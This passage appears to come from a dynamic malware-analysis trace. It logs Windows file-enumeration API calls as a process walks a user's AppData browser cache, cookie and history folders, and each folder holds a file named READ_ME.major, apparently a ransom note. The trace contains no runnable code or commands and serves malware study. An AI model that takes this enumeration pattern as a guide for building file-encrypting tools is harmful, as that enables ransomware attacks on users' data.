(dwErrCode=0x12) [0228.281] GetLastError () returned 0x12 [0228.281] SetLastError (dwErrCode=0x12) [0228.281] GetLastError () returned 0x12 [0228.281] SetLastError (dwErrCode=0x12) [0228.281] FindNextFileW (in: hFindFile=0x2f32960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c1a406, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c1a406, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c1a406, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.281] SetLastError (dwErrCode=0x12) [0228.281] GetLastError () returned 0x12 [0228.282] SetLastError (dwErrCode=0x12) [0228.282] GetLastError () returned 0x12 [0228.282] SetLastError (dwErrCode=0x12) [0228.282] FindNextFileW (in: hFindFile=0x2f32960, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c1a406, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c1a406, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c1a406, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.282] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f334e0 [0228.282] SetLastError (dwErrCode=0x12) [0228.282] GetLastError () returned 0x12 [0228.282] SetLastError (dwErrCode=0x12) [0228.282] GetLastError () returned 0x12 [0228.282] SetLastError (dwErrCode=0x12) [0228.282] FindNextFileW (in: hFindFile=0x2f334e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.282] SetLastError (dwErrCode=0x12) [0228.282] GetLastError () returned 0x12 [0228.283] SetLastError (dwErrCode=0x12) [0228.283] GetLastError () returned 0x12 [0228.283] SetLastError (dwErrCode=0x12) [0228.283] FindNextFileW (in: hFindFile=0x2f334e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c40441, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c40441, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.283] SetLastError (dwErrCode=0x12) [0228.283] GetLastError () returned 0x12 [0228.283] SetLastError (dwErrCode=0x12) [0228.283] GetLastError () returned 0x12 [0228.283] SetLastError (dwErrCode=0x12) [0228.283] FindNextFileW (in: hFindFile=0x2f334e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c40441, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c40441, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.283] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.HolographicFirstRun_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f332e0 [0228.283] SetLastError (dwErrCode=0x12) [0228.283] GetLastError () returned 0x12 [0228.283] SetLastError (dwErrCode=0x12) [0228.283] GetLastError () returned 0x12 [0228.284] SetLastError (dwErrCode=0x12) [0228.284] FindNextFileW (in: hFindFile=0x2f332e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x75e71ae4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x75e71ae4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.284] SetLastError (dwErrCode=0x12) [0228.284] GetLastError () returned 0x12 [0228.284] SetLastError (dwErrCode=0x12) [0228.284] GetLastError () returned 0x12 [0228.284] SetLastError (dwErrCode=0x12) [0228.284] FindNextFileW (in: hFindFile=0x2f332e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c40441, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c40441, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.284] SetLastError (dwErrCode=0x12) [0228.284] GetLastError () returned 0x12 [0228.284] SetLastError (dwErrCode=0x12) [0228.284] GetLastError () returned 0x12 [0228.284] SetLastError (dwErrCode=0x12) [0228.284] FindNextFileW (in: hFindFile=0x2f332e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c40441, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c40441, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c40441, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.284] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33320 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] GetLastError () returned 0x12 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] GetLastError () returned 0x12 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] FindNextFileW (in: hFindFile=0x2f33320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] GetLastError () returned 0x12 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] GetLastError () returned 0x12 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] FindNextFileW (in: hFindFile=0x2f33320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c8c925, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c8c925, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] GetLastError () returned 0x12 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] GetLastError () returned 0x12 [0228.285] SetLastError (dwErrCode=0x12) [0228.285] FindNextFileW (in: hFindFile=0x2f33320, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c8c925, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c8c925, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.286] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f334a0 [0228.286] SetLastError (dwErrCode=0x12) [0228.286] GetLastError () returned 0x12 [0228.286] SetLastError (dwErrCode=0x12) [0228.286] GetLastError () returned 0x12 [0228.286] SetLastError (dwErrCode=0x12) [0228.286] FindNextFileW (in: hFindFile=0x2f334a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.286] SetLastError (dwErrCode=0x12) [0228.286] GetLastError () returned 0x12 [0228.286] SetLastError (dwErrCode=0x12) [0228.286] GetLastError () returned 0x12 [0228.286] SetLastError (dwErrCode=0x12) [0228.286] FindNextFileW (in: hFindFile=0x2f334a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c8c925, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c8c925, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.286] SetLastError (dwErrCode=0x12) [0228.287] GetLastError () returned 0x12 [0228.287] SetLastError (dwErrCode=0x12) [0228.287] GetLastError () returned 0x12 [0228.287] SetLastError (dwErrCode=0x12) [0228.287] FindNextFileW (in: hFindFile=0x2f334a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c8c925, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c8c925, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.287] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.ModalSharePickerHost_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f330a0 [0228.287] SetLastError (dwErrCode=0x12) [0228.287] GetLastError () returned 0x12 [0228.287] SetLastError (dwErrCode=0x12) [0228.287] GetLastError () returned 0x12 [0228.287] SetLastError (dwErrCode=0x12) [0228.287] FindNextFileW (in: hFindFile=0x2f330a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x7544fabf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7544fabf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.287] SetLastError (dwErrCode=0x12) [0228.287] GetLastError () returned 0x12 [0228.287] SetLastError (dwErrCode=0x12) [0228.288] GetLastError () returned 0x12 [0228.288] SetLastError (dwErrCode=0x12) [0228.288] FindNextFileW (in: hFindFile=0x2f330a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c8c925, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c8c925, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.288] SetLastError (dwErrCode=0x12) [0228.288] GetLastError () returned 0x12 [0228.288] SetLastError (dwErrCode=0x12) [0228.288] GetLastError () returned 0x12 [0228.288] SetLastError (dwErrCode=0x12) [0228.288] FindNextFileW (in: hFindFile=0x2f330a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36c8c925, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36c8c925, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36c8c925, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.288] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33160 [0228.288] SetLastError (dwErrCode=0x12) [0228.288] GetLastError () returned 0x12 [0228.288] SetLastError (dwErrCode=0x12) [0228.288] GetLastError () returned 0x12 [0228.288] SetLastError (dwErrCode=0x12) [0228.289] FindNextFileW (in: hFindFile=0x2f33160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.289] SetLastError (dwErrCode=0x12) [0228.289] GetLastError () returned 0x12 [0228.289] SetLastError (dwErrCode=0x12) [0228.289] GetLastError () returned 0x12 [0228.289] SetLastError (dwErrCode=0x12) [0228.289] FindNextFileW (in: hFindFile=0x2f33160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36cff0b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36cff0b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.289] SetLastError (dwErrCode=0x12) [0228.289] GetLastError () returned 0x12 [0228.289] SetLastError (dwErrCode=0x12) [0228.289] GetLastError () returned 0x12 [0228.289] SetLastError (dwErrCode=0x12) [0228.289] FindNextFileW (in: hFindFile=0x2f33160, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36cff0b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36cff0b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.289] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\INetCookies\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f33520 [0228.289] SetLastError (dwErrCode=0x12) [0228.290] GetLastError () returned 0x12 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] GetLastError () returned 0x12 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] FindNextFileW (in: hFindFile=0x2f33520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] GetLastError () returned 0x12 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] GetLastError () returned 0x12 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] FindNextFileW (in: hFindFile=0x2f33520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36cff0b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36cff0b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] GetLastError () returned 0x12 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] GetLastError () returned 0x12 [0228.290] SetLastError (dwErrCode=0x12) [0228.290] FindNextFileW (in: hFindFile=0x2f33520, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36cff0b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36cff0b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.290] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkCaptivePortal_cw5n1h2txyewy\\AC\\INetHistory\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f337a0 [0228.291] SetLastError (dwErrCode=0x12) [0228.291] GetLastError () returned 0x12 [0228.291] SetLastError (dwErrCode=0x12) [0228.291] GetLastError () returned 0x12 [0228.291] SetLastError (dwErrCode=0x12) [0228.291] FindNextFileW (in: hFindFile=0x2f337a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74b8500e, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74b8500e, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0228.291] SetLastError (dwErrCode=0x12) [0228.291] GetLastError () returned 0x12 [0228.291] SetLastError (dwErrCode=0x12) [0228.291] GetLastError () returned 0x12 [0228.291] SetLastError (dwErrCode=0x12) [0228.291] FindNextFileW (in: hFindFile=0x2f337a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36cff0b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36cff0b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0228.291] SetLastError (dwErrCode=0x12) [0228.291] GetLastError () returned 0x12 [0228.292] SetLastError (dwErrCode=0x12) [0228.292] GetLastError () returned 0x12 [0228.292] SetLastError (dwErrCode=0x12) [0228.292] FindNextFileW (in: hFindFile=0x2f337a0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x36cff0b0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x36cff0b0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x36cff0b0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0228.292] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.OOBENetworkConnectionFlow_cw5n1h2txyewy\\AC\\INetCache\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x74116aed, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x36ea2adf, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f331e0 [0228.292] SetLastError (dwErrCode=0x12) [0228.292] GetLastError () returned 0x12 [0228.292] SetLastError (dwErrCode=0x12) [0228.292] GetLastError () returned 0x12 [0228.292] SetLastError (dwErrCode=0x12) [0228.292] FindNextFileW (in: hFindFile=0x2f331e0, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x74116aed, 